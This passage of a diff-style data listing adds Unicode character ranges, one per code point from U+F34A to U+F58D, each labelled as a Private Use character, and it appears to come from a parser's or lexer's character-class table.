+ ["\uF34A", "\uF34A"], /* Private Use */
+ ["\uF34B", "\uF34B"], /* Private Use */
+ ["\uF34C", "\uF34C"], /* Private Use */
+ ["\uF34D", "\uF34D"], /* Private Use */
+ ["\uF34E", "\uF34E"], /* Private Use */
+ ["\uF34F", "\uF34F"], /* Private Use */
+ ["\uF350", "\uF350"], /* Private Use */
+ ["\uF351", "\uF351"], /* Private Use */
+ ["\uF352", "\uF352"], /* Private Use */
+ ["\uF353", "\uF353"], /* Private Use */
+ ["\uF354", "\uF354"], /* Private Use */
+ ["\uF355", "\uF355"], /* Private Use */
+ ["\uF356", "\uF356"], /* Private Use */
+ ["\uF357", "\uF357"], /* Private Use */
+ ["\uF358", "\uF358"], /* Private Use */
+ ["\uF359", "\uF359"], /* Private Use */
+ ["\uF35A", "\uF35A"], /* Private Use */
+ ["\uF35B", "\uF35B"], /* Private Use */
+ ["\uF35C", "\uF35C"], /* Private Use */
+ ["\uF35D", "\uF35D"], /* Private Use */
+ ["\uF35E", "\uF35E"], /* Private Use */
+ ["\uF35F", "\uF35F"], /* Private Use */
+ ["\uF360", "\uF360"], /* Private Use */
+ ["\uF361", "\uF361"], /* Private Use */
+ ["\uF362", "\uF362"], /* Private Use */
+ ["\uF363", "\uF363"], /* Private Use */
+ ["\uF364", "\uF364"], /* Private Use */
+ ["\uF365", "\uF365"], /* Private Use */
+ ["\uF366", "\uF366"], /* Private Use */
+ ["\uF367", "\uF367"], /* Private Use */
+ ["\uF368", "\uF368"], /* Private Use */
+ ["\uF369", "\uF369"], /* Private Use */
+ ["\uF36A", "\uF36A"], /* Private Use */
+ ["\uF36B", "\uF36B"], /* Private Use */
+ ["\uF36C", "\uF36C"], /* Private Use */
+ ["\uF36D", "\uF36D"], /* Private Use */
+ ["\uF36E", "\uF36E"], /* Private Use */
+ ["\uF36F", "\uF36F"], /* Private Use */
+ ["\uF370", "\uF370"], /* Private Use */
+ ["\uF371", "\uF371"], /* Private Use */
+ ["\uF372", "\uF372"], /* Private Use */
+ ["\uF373", "\uF373"], /* Private Use */
+ ["\uF374", "\uF374"], /* Private Use */
+ ["\uF375", "\uF375"], /* Private Use */
+ ["\uF376", "\uF376"], /* Private Use */
+ ["\uF377", "\uF377"], /* Private Use */
+ ["\uF378", "\uF378"], /* Private Use */
+ ["\uF379", "\uF379"], /* Private Use */
+ ["\uF37A", "\uF37A"], /* Private Use */
+ ["\uF37B", "\uF37B"], /* Private Use */
+ ["\uF37C", "\uF37C"], /* Private Use */
+ ["\uF37D", "\uF37D"], /* Private Use */
+ ["\uF37E", "\uF37E"], /* Private Use */
+ ["\uF37F", "\uF37F"], /* Private Use */
+ ["\uF380", "\uF380"], /* Private Use */
+ ["\uF381", "\uF381"], /* Private Use */
+ ["\uF382", "\uF382"], /* Private Use */
+ ["\uF383", "\uF383"], /* Private Use */
+ ["\uF384", "\uF384"], /* Private Use */
+ ["\uF385", "\uF385"], /* Private Use */
+ ["\uF386", "\uF386"], /* Private Use */
+ ["\uF387", "\uF387"], /* Private Use */
+ ["\uF388", "\uF388"], /* Private Use */
+ ["\uF389", "\uF389"], /* Private Use */
+ ["\uF38A", "\uF38A"], /* Private Use */
+ ["\uF38B", "\uF38B"], /* Private Use */
+ ["\uF38C", "\uF38C"], /* Private Use */
+ ["\uF38D", "\uF38D"], /* Private Use */
+ ["\uF38E", "\uF38E"], /* Private Use */
+ ["\uF38F", "\uF38F"], /* Private Use */
+ ["\uF390", "\uF390"], /* Private Use */
+ ["\uF391", "\uF391"], /* Private Use */
+ ["\uF392", "\uF392"], /* Private Use */
+ ["\uF393", "\uF393"], /* Private Use */
+ ["\uF394", "\uF394"], /* Private Use */
+ ["\uF395", "\uF395"], /* Private Use */
+ ["\uF396", "\uF396"], /* Private Use */
+ ["\uF397", "\uF397"], /* Private Use */
+ ["\uF398", "\uF398"], /* Private Use */
+ ["\uF399", "\uF399"], /* Private Use */
+ ["\uF39A", "\uF39A"], /* Private Use */
+ ["\uF39B", "\uF39B"], /* Private Use */
+ ["\uF39C", "\uF39C"], /* Private Use */
+ ["\uF39D", "\uF39D"], /* Private Use */
+ ["\uF39E", "\uF39E"], /* Private Use */
+ ["\uF39F", "\uF39F"], /* Private Use */
+ ["\uF3A0", "\uF3A0"], /* Private Use */
+ ["\uF3A1", "\uF3A1"], /* Private Use */
+ ["\uF3A2", "\uF3A2"], /* Private Use */
+ ["\uF3A3", "\uF3A3"], /* Private Use */
+ ["\uF3A4", "\uF3A4"], /* Private Use */
+ ["\uF3A5", "\uF3A5"], /* Private Use */
+ ["\uF3A6", "\uF3A6"], /* Private Use */
+ ["\uF3A7", "\uF3A7"], /* Private Use */
+ ["\uF3A8", "\uF3A8"], /* Private Use */
+ ["\uF3A9", "\uF3A9"], /* Private Use */
+ ["\uF3AA", "\uF3AA"], /* Private Use */
+ ["\uF3AB", "\uF3AB"], /* Private Use */
+ ["\uF3AC", "\uF3AC"], /* Private Use */
+ ["\uF3AD", "\uF3AD"], /* Private Use */
+ ["\uF3AE", "\uF3AE"], /* Private Use */
+ ["\uF3AF", "\uF3AF"], /* Private Use */
+ ["\uF3B0", "\uF3B0"], /* Private Use */
+ ["\uF3B1", "\uF3B1"], /* Private Use */
+ ["\uF3B2", "\uF3B2"], /* Private Use */
+ ["\uF3B3", "\uF3B3"], /* Private Use */
+ ["\uF3B4", "\uF3B4"], /* Private Use */
+ ["\uF3B5", "\uF3B5"], /* Private Use */
+ ["\uF3B6", "\uF3B6"], /* Private Use */
+ ["\uF3B7", "\uF3B7"], /* Private Use */
+ ["\uF3B8", "\uF3B8"], /* Private Use */
+ ["\uF3B9", "\uF3B9"], /* Private Use */
+ ["\uF3BA", "\uF3BA"], /* Private Use */
+ ["\uF3BB", "\uF3BB"], /* Private Use */
+ ["\uF3BC", "\uF3BC"], /* Private Use */
+ ["\uF3BD", "\uF3BD"], /* Private Use */
+ ["\uF3BE", "\uF3BE"], /* Private Use */
+ ["\uF3BF", "\uF3BF"], /* Private Use */
+ ["\uF3C0", "\uF3C0"], /* Private Use */
+ ["\uF3C1", "\uF3C1"], /* Private Use */
+ ["\uF3C2", "\uF3C2"], /* Private Use */
+ ["\uF3C3", "\uF3C3"], /* Private Use */
+ ["\uF3C4", "\uF3C4"], /* Private Use */
+ ["\uF3C5", "\uF3C5"], /* Private Use */
+ ["\uF3C6", "\uF3C6"], /* Private Use */
+ ["\uF3C7", "\uF3C7"], /* Private Use */
+ ["\uF3C8", "\uF3C8"], /* Private Use */
+ ["\uF3C9", "\uF3C9"], /* Private Use */
+ ["\uF3CA", "\uF3CA"], /* Private Use */
+ ["\uF3CB", "\uF3CB"], /* Private Use */
+ ["\uF3CC", "\uF3CC"], /* Private Use */
+ ["\uF3CD", "\uF3CD"], /* Private Use */
+ ["\uF3CE", "\uF3CE"], /* Private Use */
+ ["\uF3CF", "\uF3CF"], /* Private Use */
+ ["\uF3D0", "\uF3D0"], /* Private Use */
+ ["\uF3D1", "\uF3D1"], /* Private Use */
+ ["\uF3D2", "\uF3D2"], /* Private Use */
+ ["\uF3D3", "\uF3D3"], /* Private Use */
+ ["\uF3D4", "\uF3D4"], /* Private Use */
+ ["\uF3D5", "\uF3D5"], /* Private Use */
+ ["\uF3D6", "\uF3D6"], /* Private Use */
+ ["\uF3D7", "\uF3D7"], /* Private Use */
+ ["\uF3D8", "\uF3D8"], /* Private Use */
+ ["\uF3D9", "\uF3D9"], /* Private Use */
+ ["\uF3DA", "\uF3DA"], /* Private Use */
+ ["\uF3DB", "\uF3DB"], /* Private Use */
+ ["\uF3DC", "\uF3DC"], /* Private Use */
+ ["\uF3DD", "\uF3DD"], /* Private Use */
+ ["\uF3DE", "\uF3DE"], /* Private Use */
+ ["\uF3DF", "\uF3DF"], /* Private Use */
+ ["\uF3E0", "\uF3E0"], /* Private Use */
+ ["\uF3E1", "\uF3E1"], /* Private Use */
+ ["\uF3E2", "\uF3E2"], /* Private Use */
+ ["\uF3E3", "\uF3E3"], /* Private Use */
+ ["\uF3E4", "\uF3E4"], /* Private Use */
+ ["\uF3E5", "\uF3E5"], /* Private Use */
+ ["\uF3E6", "\uF3E6"], /* Private Use */
+ ["\uF3E7", "\uF3E7"], /* Private Use */
+ ["\uF3E8", "\uF3E8"], /* Private Use */
+ ["\uF3E9", "\uF3E9"], /* Private Use */
+ ["\uF3EA", "\uF3EA"], /* Private Use */
+ ["\uF3EB", "\uF3EB"], /* Private Use */
+ ["\uF3EC", "\uF3EC"], /* Private Use */
+ ["\uF3ED", "\uF3ED"], /* Private Use */
+ ["\uF3EE", "\uF3EE"], /* Private Use */
+ ["\uF3EF", "\uF3EF"], /* Private Use */
+ ["\uF3F0", "\uF3F0"], /* Private Use */
+ ["\uF3F1", "\uF3F1"], /* Private Use */
+ ["\uF3F2", "\uF3F2"], /* Private Use */
+ ["\uF3F3", "\uF3F3"], /* Private Use */
+ ["\uF3F4", "\uF3F4"], /* Private Use */
+ ["\uF3F5", "\uF3F5"], /* Private Use */
+ ["\uF3F6", "\uF3F6"], /* Private Use */
+ ["\uF3F7", "\uF3F7"], /* Private Use */
+ ["\uF3F8", "\uF3F8"], /* Private Use */
+ ["\uF3F9", "\uF3F9"], /* Private Use */
+ ["\uF3FA", "\uF3FA"], /* Private Use */
+ ["\uF3FB", "\uF3FB"], /* Private Use */
+ ["\uF3FC", "\uF3FC"], /* Private Use */
+ ["\uF3FD", "\uF3FD"], /* Private Use */
+ ["\uF3FE", "\uF3FE"], /* Private Use */
+ ["\uF3FF", "\uF3FF"], /* Private Use */
+ ["\uF400", "\uF400"], /* Private Use */
+ ["\uF401", "\uF401"], /* Private Use */
+ ["\uF402", "\uF402"], /* Private Use */
+ ["\uF403", "\uF403"], /* Private Use */
+ ["\uF404", "\uF404"], /* Private Use */
+ ["\uF405", "\uF405"], /* Private Use */
+ ["\uF406", "\uF406"], /* Private Use */
+ ["\uF407", "\uF407"], /* Private Use */
+ ["\uF408", "\uF408"], /* Private Use */
+ ["\uF409", "\uF409"], /* Private Use */
+ ["\uF40A", "\uF40A"], /* Private Use */
+ ["\uF40B", "\uF40B"], /* Private Use */
+ ["\uF40C", "\uF40C"], /* Private Use */
+ ["\uF40D", "\uF40D"], /* Private Use */
+ ["\uF40E", "\uF40E"], /* Private Use */
+ ["\uF40F", "\uF40F"], /* Private Use */
+ ["\uF410", "\uF410"], /* Private Use */
+ ["\uF411", "\uF411"], /* Private Use */
+ ["\uF412", "\uF412"], /* Private Use */
+ ["\uF413", "\uF413"], /* Private Use */
+ ["\uF414", "\uF414"], /* Private Use */
+ ["\uF415", "\uF415"], /* Private Use */
+ ["\uF416", "\uF416"], /* Private Use */
+ ["\uF417", "\uF417"], /* Private Use */
+ ["\uF418", "\uF418"], /* Private Use */
+ ["\uF419", "\uF419"], /* Private Use */
+ ["\uF41A", "\uF41A"], /* Private Use */
+ ["\uF41B", "\uF41B"], /* Private Use */
+ ["\uF41C", "\uF41C"], /* Private Use */
+ ["\uF41D", "\uF41D"], /* Private Use */
+ ["\uF41E", "\uF41E"], /* Private Use */
+ ["\uF41F", "\uF41F"], /* Private Use */
+ ["\uF420", "\uF420"], /* Private Use */
+ ["\uF421", "\uF421"], /* Private Use */
+ ["\uF422", "\uF422"], /* Private Use */
+ ["\uF423", "\uF423"], /* Private Use */
+ ["\uF424", "\uF424"], /* Private Use */
+ ["\uF425", "\uF425"], /* Private Use */
+ ["\uF426", "\uF426"], /* Private Use */
+ ["\uF427", "\uF427"], /* Private Use */
+ ["\uF428", "\uF428"], /* Private Use */
+ ["\uF429", "\uF429"], /* Private Use */
+ ["\uF42A", "\uF42A"], /* Private Use */
+ ["\uF42B", "\uF42B"], /* Private Use */
+ ["\uF42C", "\uF42C"], /* Private Use */
+ ["\uF42D", "\uF42D"], /* Private Use */
+ ["\uF42E", "\uF42E"], /* Private Use */
+ ["\uF42F", "\uF42F"], /* Private Use */
+ ["\uF430", "\uF430"], /* Private Use */
+ ["\uF431", "\uF431"], /* Private Use */
+ ["\uF432", "\uF432"], /* Private Use */
+ ["\uF433", "\uF433"], /* Private Use */
+ ["\uF434", "\uF434"], /* Private Use */
+ ["\uF435", "\uF435"], /* Private Use */
+ ["\uF436", "\uF436"], /* Private Use */
+ ["\uF437", "\uF437"], /* Private Use */
+ ["\uF438", "\uF438"], /* Private Use */
+ ["\uF439", "\uF439"], /* Private Use */
+ ["\uF43A", "\uF43A"], /* Private Use */
+ ["\uF43B", "\uF43B"], /* Private Use */
+ ["\uF43C", "\uF43C"], /* Private Use */
+ ["\uF43D", "\uF43D"], /* Private Use */
+ ["\uF43E", "\uF43E"], /* Private Use */
+ ["\uF43F", "\uF43F"], /* Private Use */
+ ["\uF440", "\uF440"], /* Private Use */
+ ["\uF441", "\uF441"], /* Private Use */
+ ["\uF442", "\uF442"], /* Private Use */
+ ["\uF443", "\uF443"], /* Private Use */
+ ["\uF444", "\uF444"], /* Private Use */
+ ["\uF445", "\uF445"], /* Private Use */
+ ["\uF446", "\uF446"], /* Private Use */
+ ["\uF447", "\uF447"], /* Private Use */
+ ["\uF448", "\uF448"], /* Private Use */
+ ["\uF449", "\uF449"], /* Private Use */
+ ["\uF44A", "\uF44A"], /* Private Use */
+ ["\uF44B", "\uF44B"], /* Private Use */
+ ["\uF44C", "\uF44C"], /* Private Use */
+ ["\uF44D", "\uF44D"], /* Private Use */
+ ["\uF44E", "\uF44E"], /* Private Use */
+ ["\uF44F", "\uF44F"], /* Private Use */
+ ["\uF450", "\uF450"], /* Private Use */
+ ["\uF451", "\uF451"], /* Private Use */
+ ["\uF452", "\uF452"], /* Private Use */
+ ["\uF453", "\uF453"], /* Private Use */
+ ["\uF454", "\uF454"], /* Private Use */
+ ["\uF455", "\uF455"], /* Private Use */
+ ["\uF456", "\uF456"], /* Private Use */
+ ["\uF457", "\uF457"], /* Private Use */
+ ["\uF458", "\uF458"], /* Private Use */
+ ["\uF459", "\uF459"], /* Private Use */
+ ["\uF45A", "\uF45A"], /* Private Use */
+ ["\uF45B", "\uF45B"], /* Private Use */
+ ["\uF45C", "\uF45C"], /* Private Use */
+ ["\uF45D", "\uF45D"], /* Private Use */
+ ["\uF45E", "\uF45E"], /* Private Use */
+ ["\uF45F", "\uF45F"], /* Private Use */
+ ["\uF460", "\uF460"], /* Private Use */
+ ["\uF461", "\uF461"], /* Private Use */
+ ["\uF462", "\uF462"], /* Private Use */
+ ["\uF463", "\uF463"], /* Private Use */
+ ["\uF464", "\uF464"], /* Private Use */
+ ["\uF465", "\uF465"], /* Private Use */
+ ["\uF466", "\uF466"], /* Private Use */
+ ["\uF467", "\uF467"], /* Private Use */
+ ["\uF468", "\uF468"], /* Private Use */
+ ["\uF469", "\uF469"], /* Private Use */
+ ["\uF46A", "\uF46A"], /* Private Use */
+ ["\uF46B", "\uF46B"], /* Private Use */
+ ["\uF46C", "\uF46C"], /* Private Use */
+ ["\uF46D", "\uF46D"], /* Private Use */
+ ["\uF46E", "\uF46E"], /* Private Use */
+ ["\uF46F", "\uF46F"], /* Private Use */
+ ["\uF470", "\uF470"], /* Private Use */
+ ["\uF471", "\uF471"], /* Private Use */
+ ["\uF472", "\uF472"], /* Private Use */
+ ["\uF473", "\uF473"], /* Private Use */
+ ["\uF474", "\uF474"], /* Private Use */
+ ["\uF475", "\uF475"], /* Private Use */
+ ["\uF476", "\uF476"], /* Private Use */
+ ["\uF477", "\uF477"], /* Private Use */
+ ["\uF478", "\uF478"], /* Private Use */
+ ["\uF479", "\uF479"], /* Private Use */
+ ["\uF47A", "\uF47A"], /* Private Use */
+ ["\uF47B", "\uF47B"], /* Private Use */
+ ["\uF47C", "\uF47C"], /* Private Use */
+ ["\uF47D", "\uF47D"], /* Private Use */
+ ["\uF47E", "\uF47E"], /* Private Use */
+ ["\uF47F", "\uF47F"], /* Private Use */
+ ["\uF480", "\uF480"], /* Private Use */
+ ["\uF481", "\uF481"], /* Private Use */
+ ["\uF482", "\uF482"], /* Private Use */
+ ["\uF483", "\uF483"], /* Private Use */
+ ["\uF484", "\uF484"], /* Private Use */
+ ["\uF485", "\uF485"], /* Private Use */
+ ["\uF486", "\uF486"], /* Private Use */
+ ["\uF487", "\uF487"], /* Private Use */
+ ["\uF488", "\uF488"], /* Private Use */
+ ["\uF489", "\uF489"], /* Private Use */
+ ["\uF48A", "\uF48A"], /* Private Use */
+ ["\uF48B", "\uF48B"], /* Private Use */
+ ["\uF48C", "\uF48C"], /* Private Use */
+ ["\uF48D", "\uF48D"], /* Private Use */
+ ["\uF48E", "\uF48E"], /* Private Use */
+ ["\uF48F", "\uF48F"], /* Private Use */
+ ["\uF490", "\uF490"], /* Private Use */
+ ["\uF491", "\uF491"], /* Private Use */
+ ["\uF492", "\uF492"], /* Private Use */
+ ["\uF493", "\uF493"], /* Private Use */
+ ["\uF494", "\uF494"], /* Private Use */
+ ["\uF495", "\uF495"], /* Private Use */
+ ["\uF496", "\uF496"], /* Private Use */
+ ["\uF497", "\uF497"], /* Private Use */
+ ["\uF498", "\uF498"], /* Private Use */
+ ["\uF499", "\uF499"], /* Private Use */
+ ["\uF49A", "\uF49A"], /* Private Use */
+ ["\uF49B", "\uF49B"], /* Private Use */
+ ["\uF49C", "\uF49C"], /* Private Use */
+ ["\uF49D", "\uF49D"], /* Private Use */
+ ["\uF49E", "\uF49E"], /* Private Use */
+ ["\uF49F", "\uF49F"], /* Private Use */
+ ["\uF4A0", "\uF4A0"], /* Private Use */
+ ["\uF4A1", "\uF4A1"], /* Private Use */
+ ["\uF4A2", "\uF4A2"], /* Private Use */
+ ["\uF4A3", "\uF4A3"], /* Private Use */
+ ["\uF4A4", "\uF4A4"], /* Private Use */
+ ["\uF4A5", "\uF4A5"], /* Private Use */
+ ["\uF4A6", "\uF4A6"], /* Private Use */
+ ["\uF4A7", "\uF4A7"], /* Private Use */
+ ["\uF4A8", "\uF4A8"], /* Private Use */
+ ["\uF4A9", "\uF4A9"], /* Private Use */
+ ["\uF4AA", "\uF4AA"], /* Private Use */
+ ["\uF4AB", "\uF4AB"], /* Private Use */
+ ["\uF4AC", "\uF4AC"], /* Private Use */
+ ["\uF4AD", "\uF4AD"], /* Private Use */
+ ["\uF4AE", "\uF4AE"], /* Private Use */
+ ["\uF4AF", "\uF4AF"], /* Private Use */
+ ["\uF4B0", "\uF4B0"], /* Private Use */
+ ["\uF4B1", "\uF4B1"], /* Private Use */
+ ["\uF4B2", "\uF4B2"], /* Private Use */
+ ["\uF4B3", "\uF4B3"], /* Private Use */
+ ["\uF4B4", "\uF4B4"], /* Private Use */
+ ["\uF4B5", "\uF4B5"], /* Private Use */
+ ["\uF4B6", "\uF4B6"], /* Private Use */
+ ["\uF4B7", "\uF4B7"], /* Private Use */
+ ["\uF4B8", "\uF4B8"], /* Private Use */
+ ["\uF4B9", "\uF4B9"], /* Private Use */
+ ["\uF4BA", "\uF4BA"], /* Private Use */
+ ["\uF4BB", "\uF4BB"], /* Private Use */
+ ["\uF4BC", "\uF4BC"], /* Private Use */
+ ["\uF4BD", "\uF4BD"], /* Private Use */
+ ["\uF4BE", "\uF4BE"], /* Private Use */
+ ["\uF4BF", "\uF4BF"], /* Private Use */
+ ["\uF4C0", "\uF4C0"], /* Private Use */
+ ["\uF4C1", "\uF4C1"], /* Private Use */
+ ["\uF4C2", "\uF4C2"], /* Private Use */
+ ["\uF4C3", "\uF4C3"], /* Private Use */
+ ["\uF4C4", "\uF4C4"], /* Private Use */
+ ["\uF4C5", "\uF4C5"], /* Private Use */
+ ["\uF4C6", "\uF4C6"], /* Private Use */
+ ["\uF4C7", "\uF4C7"], /* Private Use */
+ ["\uF4C8", "\uF4C8"], /* Private Use */
+ ["\uF4C9", "\uF4C9"], /* Private Use */
+ ["\uF4CA", "\uF4CA"], /* Private Use */
+ ["\uF4CB", "\uF4CB"], /* Private Use */
+ ["\uF4CC", "\uF4CC"], /* Private Use */
+ ["\uF4CD", "\uF4CD"], /* Private Use */
+ ["\uF4CE", "\uF4CE"], /* Private Use */
+ ["\uF4CF", "\uF4CF"], /* Private Use */
+ ["\uF4D0", "\uF4D0"], /* Private Use */
+ ["\uF4D1", "\uF4D1"], /* Private Use */
+ ["\uF4D2", "\uF4D2"], /* Private Use */
+ ["\uF4D3", "\uF4D3"], /* Private Use */
+ ["\uF4D4", "\uF4D4"], /* Private Use */
+ ["\uF4D5", "\uF4D5"], /* Private Use */
+ ["\uF4D6", "\uF4D6"], /* Private Use */
+ ["\uF4D7", "\uF4D7"], /* Private Use */
+ ["\uF4D8", "\uF4D8"], /* Private Use */
+ ["\uF4D9", "\uF4D9"], /* Private Use */
+ ["\uF4DA", "\uF4DA"], /* Private Use */
+ ["\uF4DB", "\uF4DB"], /* Private Use */
+ ["\uF4DC", "\uF4DC"], /* Private Use */
+ ["\uF4DD", "\uF4DD"], /* Private Use */
+ ["\uF4DE", "\uF4DE"], /* Private Use */
+ ["\uF4DF", "\uF4DF"], /* Private Use */
+ ["\uF4E0", "\uF4E0"], /* Private Use */
+ ["\uF4E1", "\uF4E1"], /* Private Use */
+ ["\uF4E2", "\uF4E2"], /* Private Use */
+ ["\uF4E3", "\uF4E3"], /* Private Use */
+ ["\uF4E4", "\uF4E4"], /* Private Use */
+ ["\uF4E5", "\uF4E5"], /* Private Use */
+ ["\uF4E6", "\uF4E6"], /* Private Use */
+ ["\uF4E7", "\uF4E7"], /* Private Use */
+ ["\uF4E8", "\uF4E8"], /* Private Use */
+ ["\uF4E9", "\uF4E9"], /* Private Use */
+ ["\uF4EA", "\uF4EA"], /* Private Use */
+ ["\uF4EB", "\uF4EB"], /* Private Use */
+ ["\uF4EC", "\uF4EC"], /* Private Use */
+ ["\uF4ED", "\uF4ED"], /* Private Use */
+ ["\uF4EE", "\uF4EE"], /* Private Use */
+ ["\uF4EF", "\uF4EF"], /* Private Use */
+ ["\uF4F0", "\uF4F0"], /* Private Use */
+ ["\uF4F1", "\uF4F1"], /* Private Use */
+ ["\uF4F2", "\uF4F2"], /* Private Use */
+ ["\uF4F3", "\uF4F3"], /* Private Use */
+ ["\uF4F4", "\uF4F4"], /* Private Use */
+ ["\uF4F5", "\uF4F5"], /* Private Use */
+ ["\uF4F6", "\uF4F6"], /* Private Use */
+ ["\uF4F7", "\uF4F7"], /* Private Use */
+ ["\uF4F8", "\uF4F8"], /* Private Use */
+ ["\uF4F9", "\uF4F9"], /* Private Use */
+ ["\uF4FA", "\uF4FA"], /* Private Use */
+ ["\uF4FB", "\uF4FB"], /* Private Use */
+ ["\uF4FC", "\uF4FC"], /* Private Use */
+ ["\uF4FD", "\uF4FD"], /* Private Use */
+ ["\uF4FE", "\uF4FE"], /* Private Use */
+ ["\uF4FF", "\uF4FF"], /* Private Use */
+ ["\uF500", "\uF500"], /* Private Use */
+ ["\uF501", "\uF501"], /* Private Use */
+ ["\uF502", "\uF502"], /* Private Use */
+ ["\uF503", "\uF503"], /* Private Use */
+ ["\uF504", "\uF504"], /* Private Use */
+ ["\uF505", "\uF505"], /* Private Use */
+ ["\uF506", "\uF506"], /* Private Use */
+ ["\uF507", "\uF507"], /* Private Use */
+ ["\uF508", "\uF508"], /* Private Use */
+ ["\uF509", "\uF509"], /* Private Use */
+ ["\uF50A", "\uF50A"], /* Private Use */
+ ["\uF50B", "\uF50B"], /* Private Use */
+ ["\uF50C", "\uF50C"], /* Private Use */
+ ["\uF50D", "\uF50D"], /* Private Use */
+ ["\uF50E", "\uF50E"], /* Private Use */
+ ["\uF50F", "\uF50F"], /* Private Use */
+ ["\uF510", "\uF510"], /* Private Use */
+ ["\uF511", "\uF511"], /* Private Use */
+ ["\uF512", "\uF512"], /* Private Use */
+ ["\uF513", "\uF513"], /* Private Use */
+ ["\uF514", "\uF514"], /* Private Use */
+ ["\uF515", "\uF515"], /* Private Use */
+ ["\uF516", "\uF516"], /* Private Use */
+ ["\uF517", "\uF517"], /* Private Use */
+ ["\uF518", "\uF518"], /* Private Use */
+ ["\uF519", "\uF519"], /* Private Use */
+ ["\uF51A", "\uF51A"], /* Private Use */
+ ["\uF51B", "\uF51B"], /* Private Use */
+ ["\uF51C", "\uF51C"], /* Private Use */
+ ["\uF51D", "\uF51D"], /* Private Use */
+ ["\uF51E", "\uF51E"], /* Private Use */
+ ["\uF51F", "\uF51F"], /* Private Use */
+ ["\uF520", "\uF520"], /* Private Use */
+ ["\uF521", "\uF521"], /* Private Use */
+ ["\uF522", "\uF522"], /* Private Use */
+ ["\uF523", "\uF523"], /* Private Use */
+ ["\uF524", "\uF524"], /* Private Use */
+ ["\uF525", "\uF525"], /* Private Use */
+ ["\uF526", "\uF526"], /* Private Use */
+ ["\uF527", "\uF527"], /* Private Use */
+ ["\uF528", "\uF528"], /* Private Use */
+ ["\uF529", "\uF529"], /* Private Use */
+ ["\uF52A", "\uF52A"], /* Private Use */
+ ["\uF52B", "\uF52B"], /* Private Use */
+ ["\uF52C", "\uF52C"], /* Private Use */
+ ["\uF52D", "\uF52D"], /* Private Use */
+ ["\uF52E", "\uF52E"], /* Private Use */
+ ["\uF52F", "\uF52F"], /* Private Use */
+ ["\uF530", "\uF530"], /* Private Use */
+ ["\uF531", "\uF531"], /* Private Use */
+ ["\uF532", "\uF532"], /* Private Use */
+ ["\uF533", "\uF533"], /* Private Use */
+ ["\uF534", "\uF534"], /* Private Use */
+ ["\uF535", "\uF535"], /* Private Use */
+ ["\uF536", "\uF536"], /* Private Use */
+ ["\uF537", "\uF537"], /* Private Use */
+ ["\uF538", "\uF538"], /* Private Use */
+ ["\uF539", "\uF539"], /* Private Use */
+ ["\uF53A", "\uF53A"], /* Private Use */
+ ["\uF53B", "\uF53B"], /* Private Use */
+ ["\uF53C", "\uF53C"], /* Private Use */
+ ["\uF53D", "\uF53D"], /* Private Use */
+ ["\uF53E", "\uF53E"], /* Private Use */
+ ["\uF53F", "\uF53F"], /* Private Use */
+ ["\uF540", "\uF540"], /* Private Use */
+ ["\uF541", "\uF541"], /* Private Use */
+ ["\uF542", "\uF542"], /* Private Use */
+ ["\uF543", "\uF543"], /* Private Use */
+ ["\uF544", "\uF544"], /* Private Use */
+ ["\uF545", "\uF545"], /* Private Use */
+ ["\uF546", "\uF546"], /* Private Use */
+ ["\uF547", "\uF547"], /* Private Use */
+ ["\uF548", "\uF548"], /* Private Use */
+ ["\uF549", "\uF549"], /* Private Use */
+ ["\uF54A", "\uF54A"], /* Private Use */
+ ["\uF54B", "\uF54B"], /* Private Use */
+ ["\uF54C", "\uF54C"], /* Private Use */
+ ["\uF54D", "\uF54D"], /* Private Use */
+ ["\uF54E", "\uF54E"], /* Private Use */
+ ["\uF54F", "\uF54F"], /* Private Use */
+ ["\uF550", "\uF550"], /* Private Use */
+ ["\uF551", "\uF551"], /* Private Use */
+ ["\uF552", "\uF552"], /* Private Use */
+ ["\uF553", "\uF553"], /* Private Use */
+ ["\uF554", "\uF554"], /* Private Use */
+ ["\uF555", "\uF555"], /* Private Use */
+ ["\uF556", "\uF556"], /* Private Use */
+ ["\uF557", "\uF557"], /* Private Use */
+ ["\uF558", "\uF558"], /* Private Use */
+ ["\uF559", "\uF559"], /* Private Use */
+ ["\uF55A", "\uF55A"], /* Private Use */
+ ["\uF55B", "\uF55B"], /* Private Use */
+ ["\uF55C", "\uF55C"], /* Private Use */
+ ["\uF55D", "\uF55D"], /* Private Use */
+ ["\uF55E", "\uF55E"], /* Private Use */
+ ["\uF55F", "\uF55F"], /* Private Use */
+ ["\uF560", "\uF560"], /* Private Use */
+ ["\uF561", "\uF561"], /* Private Use */
+ ["\uF562", "\uF562"], /* Private Use */
+ ["\uF563", "\uF563"], /* Private Use */
+ ["\uF564", "\uF564"], /* Private Use */
+ ["\uF565", "\uF565"], /* Private Use */
+ ["\uF566", "\uF566"], /* Private Use */
+ ["\uF567", "\uF567"], /* Private Use */
+ ["\uF568", "\uF568"], /* Private Use */
+ ["\uF569", "\uF569"], /* Private Use */
+ ["\uF56A", "\uF56A"], /* Private Use */
+ ["\uF56B", "\uF56B"], /* Private Use */
+ ["\uF56C", "\uF56C"], /* Private Use */
+ ["\uF56D", "\uF56D"], /* Private Use */
+ ["\uF56E", "\uF56E"], /* Private Use */
+ ["\uF56F", "\uF56F"], /* Private Use */
+ ["\uF570", "\uF570"], /* Private Use */
+ ["\uF571", "\uF571"], /* Private Use */
+ ["\uF572", "\uF572"], /* Private Use */
+ ["\uF573", "\uF573"], /* Private Use */
+ ["\uF574", "\uF574"], /* Private Use */
+ ["\uF575", "\uF575"], /* Private Use */
+ ["\uF576", "\uF576"], /* Private Use */
+ ["\uF577", "\uF577"], /* Private Use */
+ ["\uF578", "\uF578"], /* Private Use */
+ ["\uF579", "\uF579"], /* Private Use */
+ ["\uF57A", "\uF57A"], /* Private Use */
+ ["\uF57B", "\uF57B"], /* Private Use */
+ ["\uF57C", "\uF57C"], /* Private Use */
+ ["\uF57D", "\uF57D"], /* Private Use */
+ ["\uF57E", "\uF57E"], /* Private Use */
+ ["\uF57F", "\uF57F"], /* Private Use */
+ ["\uF580", "\uF580"], /* Private Use */
+ ["\uF581", "\uF581"], /* Private Use */
+ ["\uF582", "\uF582"], /* Private Use */
+ ["\uF583", "\uF583"], /* Private Use */
+ ["\uF584", "\uF584"], /* Private Use */
+ ["\uF585", "\uF585"], /* Private Use */
+ ["\uF586", "\uF586"], /* Private Use */
+ ["\uF587", "\uF587"], /* Private Use */
+ ["\uF588", "\uF588"], /* Private Use */
+ ["\uF589", "\uF589"], /* Private Use */
+ ["\uF58A", "\uF58A"], /* Private Use */
+ ["\uF58B", "\uF58B"], /* Private Use */
+ ["\uF58C", "\uF58C"], /* Private Use */
+ ["\uF58D", "\uF58D"], /* Private Use */
